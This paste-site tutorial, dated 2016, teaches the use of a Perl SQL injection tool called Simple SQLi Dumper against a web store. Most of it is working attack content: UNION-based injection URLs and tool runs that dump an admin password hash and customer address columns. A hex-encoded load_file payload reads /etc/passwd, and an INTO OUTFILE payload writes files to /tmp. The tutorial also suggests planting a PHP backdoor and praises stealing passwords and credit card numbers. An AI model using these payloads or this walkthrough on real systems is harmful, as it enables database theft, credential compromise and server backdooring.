How to use Simple SQLi Dumper v5.1 (SQL Injection Tool)


SUBMITTED BY: sahertian

DATE: June 20, 2016, 12:46 p.m.

UPDATED: June 20, 2016, 1:16 p.m.

FORMAT: Text only

SIZE: 11.6 kB

HITS: 1094

  1. [o] attention
  2. USE THIS TOOL FOR EDUCATION PURPOSE ONLY.
  3. WE ARE NOT RESPONSIBLE OF ANY DAMAGE AND IMPROPERLY USE OF THIS TOOL.
  4. USE IT AT YOUR OWN RISK!!
  5. SSDp coded by Vrs-hCk
  6. SSDp How To by NoGe
  7. [o] what is SSDp?
  8. SSDp is an usefull penetration tool to find bugs, errors or vulnerabilities
  9. [o] download SSDp v5.1
  10. http://cur.lv/zrgj8
  11. [o] function
  12. - SQL Injection
  13. - Operation System Function
  14. - Dump Database
  15. - Extract Database Schema
  16. - Search Columns Name
  17. - Read File (read only)
  18. - Create File (read only)
  19. - Brute Table & Column
  20. [o] command and option
  21. # perl ssdp.pl -h
  22. |-----------------------------------------------------------------------------|
  23. | Usage: perl ssdp.pl [options] |
  24. | |
  25. | -u [SQLi URL] target with id parameter or sqli url with c0li string |
  26. | -e [sqli end tag] sql injection end tag (default: "--") |
  27. | -d [database name] this option should not be used (default: @@database) |
  28. | -t [table name] table_name |
  29. | -c [columns name] column_name (example: id,user,pass,email) |
  30. | -s [space code] SPACE code: +,/**/,%20 (default: "+") |
  31. | -f [max field] max field to get magic number (default: 123) |
  32. | -start [num] row number to begin dumping data |
  33. | -stop [num] row number to stop dumping |
  34. | -where [query] your special dumping query |
  35. | |
  36. | -info Get MySQL Information [MySQL v4+] |
  37. | -dbase Concat Databases [MySQL v5+] |
  38. | -table Concat Tables [MySQL v5+] |
  39. | -column Concat Columns [MySQL v5+] |
  40. | -tabcol Concat Tables with Columns [MySQL v5+] |
  41. | -find Search Columns Name [MySQL v5+] |
  42. | -magic Find Magic Number [MySQL v4+] |
  43. | -dump Dump Data [MySQL v4+] |
  44. | -brute Fuzzing Tables & Columns [MySQL v4+] |
  45. | |
  46. | -log [file name] file name to save ssdp data (default: ssdp.log) |
  47. | -p [http proxy] hostname:port |
  48. |-----------------------------------------------------------------------------|
  49. [o] proof of concept
  50. [0x01] magic number (null column).
  51. first of all we have to find null column (magic number).
  52. null column used for execute our SQL query.
  53. # perl ssdp.pl -u [target URL] -magic
  54. # perl ssdp.pl -u http://www.targetexample.com/store.php?cat=2 -magic
  55. [o]=================================================[x]
  56. | Simple SQLi Dumper v5.1 |
  57. | Coded by Vrs-hCk |
  58. [o]=================================================[o]
  59. Help Command: -h, -help, --help
  60. [+] URL: http://www.targetexample.com/store.php?cat=2
  61. [+] End Tag: --
  62. Attempting to find the magic number...
  63. [+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
  64. [+] Field Length : 24
  65. [+] Magic Number : 1
  66. [+] URL Injection: http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
  67. Showing MySQL Information ...
  68. [+] Database: databasestore
  69. [+] User: iuser@databasehost.net
  70. [+] Version: 5.0.51a-log
  71. [+] System: redhat-linux-gnu
  72. [+] Access to "mysql" Database: No
  73. [+] Read File "/etc/passwd": Yes (w00t)
  74. [+] Create File "/tmp/c0li-430.txt": Yes (w00t)
  75. Done.
  76. our magic number is 1 and it will replace with "c0li" string.
  77. we can see the database information and operation system too.
  78. [0x02] finding table
  79. now we use URL that include "c0li" string on it to find table & column.
  80. # perl ssdp.pl -u [c0li URL] -table
  81. # perl ssdp.pl -u http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -table
  82. [o]=================================================[x]
  83. | Simple SQLi Dumper v5.1 |
  84. | Coded by Vrs-hCk |
  85. [o]=================================================[o]
  86. Help Command: -h, -help, --help
  87. [+] c0li SQLi URL: http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
  88. [+] SQLi End Tag: --
  89. [+] Database Name: database()
  90. [+] Number of Tables: 18
  91. Showing tables ...
  92. [1] aspect_ratio(2)
  93. [2] audio_format(3)
  94. [3] category(7)
  95. [4] customer(200)
  96. [5] deposit(11)
  97. [6] discount_group(9)
  98. [7] discount_group_price(10)
  99. [8] order()
  100. [9] order_item(261)
  101. [10] order_source(5)
  102. [11] order_status(4)
  103. [12] order_type(2)
  104. [13] payment_type(4)
  105. [14] product(30)
  106. [15] product_group(17)
  107. [16] security(1)
  108. [17] shopping_cart(0)
  109. [18] user_session(68)
  110. Done.
  111. that is the list of all table in database()
  112. [0x03] finding column
  113. let's see column from table called "security".
  114. # perl ssdp.pl -u [c0li URL] -t [table] -column
  115. # perl ssdp.pl -u http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -t security -column
  116. [o]=================================================[x]
  117. | Simple SQLi Dumper v5.1 |
  118. | Coded by Vrs-hCk |
  119. [o]=================================================[o]
  120. Help Command: -h, -help, --help
  121. [+] c0li SQLi URL: http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
  122. [+] SQLi End Tag: --
  123. [+] Database Name: database()
  124. [+] Table Name: security
  125. [+] Number of Columns: 5
  126. Showing columns from table "security" ...
  127. [+] security(1): user_id,username,password,admin,last_login
  128. Done.
  129. aha! we got column called "username" and "password".
  130. [0x04] dumping data
  131. now we'll see information inside that column.. :)
  132. # perl ssdp.pl -u [c0li URL] -t [table] -c [column],[column] -dump
  133. # perl ssdp.pl -u http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -t security -c username,password -dump
  134. [o]=================================================[x]
  135. | Simple SQLi Dumper v5.1 |
  136. | Coded by Vrs-hCk |
  137. [o]=================================================[o]
  138. Help Command: -h, -help, --help
  139. [+] c0li SQLi URL: http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
  140. [+] SQLi End Tag: --
  141. [+] Database Name: database()
  142. [+] Table Name: security
  143. [+] Column Name: username,password
  144. [+] Data Count: 1
  145. Dumping Data ...
  146. [1] admin : 2ec20101734c754d
  147. Done.
  148. we got admin username and password hash. :D
  149. ok i have show you how to find magic number, table, column and dump data the column using SSDp.
  150. [0x05] search column name (-find)
  151. now i'll show you how to use -find option (Search Columns Name)
  152. i'll try to search column with keyword "address" it require -c option (column)
  153. # perl ssdp.pl -u [c0li URL] -d [database name] -c [keyword] -find
  154. # perl ssdp.pl -u http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -d databasestore -c address -find
  155. [o]=================================================[x]
  156. | Simple SQLi Dumper v5.1 |
  157. | Coded by Vrs-hCk |
  158. [o]=================================================[o]
  159. Help Command: -h, -help, --help
  160. [+] c0li SQLi URL: http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
  161. [+] SQLi End Tag: --
  162. [+] Database Name: databasestore
  163. [+] Column Name string to search: address
  164. Searching for Columns Path ...
  165. [+] Columns Found:
  166. [1] databasestore.customer.email_address
  167. [2] databasestore.customer.address_line1
  168. [3] databasestore.customer.address_line2
  169. [4] databasestore.customer.address_city
  170. [5] databasestore.customer.address_state
  171. [6] databasestore.customer.address_zip
  172. [7] databasestore.customer.address_country
  173. [8] databasestore.customer.address_name
  174. Done.
  175. found column with word "address" on table "customer". easy right? :p
  176. [0x06] read & create file (read only)
  177. now let's see Read File (read only) & Create File (read only).
  178. why read only? coz this function design just to test if we can read file or no. to inject, we do it manually.. :(
  179. as you can see at the first time we find magic number you'll find this line.
  180. [+] Read File "/etc/passwd" : Yes (w00t)
  181. [+] Create File "/tmp/c0li-159.txt" : Yes (w00t)
  182. it means we can read (load_file) the /etc/passwd file on a target also we can create file at /tmp directory.
  183. to use load_file you need to convert the /etc/passwd into hexadecimal.
  184. http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
  185. the result will be like this.
  186. root:x:0:0:root:/root:/bin/bash
  187. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  188. bin:x:2:2:bin:/bin:/bin/sh
  189. sys:x:3:3:sys:/dev:/bin/sh
  190. sync:x:4:65534:sync:/bin:/bin/sync
  191. games:x:5:60:games:/usr/games:/bin/sh
  192. man:x:6:12:man:/var/cache/man:/bin/sh
  193. let's create some file in /tmp directory. :)
  194. http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,"Simple SQLi Dumper",8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+into+outfile+"/tmp/ssdp.txt"--
  195. URL above means we write "Simple SQLi Dumper" into ssdp.txt that locate at /tmp directory.
  196. to see if it works or no lets read /tmp/ssdp.txt using load_file function. don't forget to convert it first.
  197. http://www.targetexample.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,load_file(0x2f746d702f737364702e747874),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
  198. and you will see result like this.
  199. 1 2 3 4 5 6 Simple SQLi Dumper 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
  200. that the word we write in /tmp/ssdp.txt.
  201. what can we do with create file vuln? we can make a php file as backdoor at the target if we know the directory path. :))
  202. [0x07] brute MySQL v4
  203. guessing table & column for MySQL v4.
  204. you can add your own table name & column name by editing file called tables.dict & columns.dict.
  205. # perl ssdp.pl -u [c0li URL] -brute
  206. # perl ssdp.pl -u http://www.targetexample.com/product_details.php?product_id=322+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,c0li,33 -brute
  207. [o]=================================================[x]
  208. | Simple SQLi Dumper v5.1 |
  209. | Coded by Vrs-hCk |
  210. [o]=================================================[o]
  211. Date : Sun Mar 21 19:31:42 2010
  212. Help Command: -h, -help, --help
  213. [+] c0li SQLi URL: http://www.targetexample.com/product_details.php?product_id=322+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,c0li,33
  214. [+] SQLi End Tag: --
  215. Finding Tables & Columns ...
  216. [1] admin_user: username,password,email,adminid,adminname,phone,
  217. Done.
  218. found table "admin_user"
  219. found column "username" "password" "email" "adminid" "adminname" "phone"
  220. [0x08] conclusion
  221. by using SSDp, it's very easy to find SQL injection vulnerability at certain vulnerable parameter or string.
  222. this tool also perform SQL injection test to the vulnerable website and try to dump data from MySQL database.
  223. you can dump data from MySQL database columns and it works nicely.
  224. you can gather secret and confidential data such as usernames, passwords, credit card numbers and etc.
  225. [0x09] references
  226. perl ssdp.pl -h
  227. http://en.wikipedia.org/wiki/SQL_injection
  228. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
  229. You also can see this tutorial in my blog http://cur.lv/zrhee
  230. If the download link doesn't work please let me know by comment below
  231. Thank you :)

comments powered by Disqus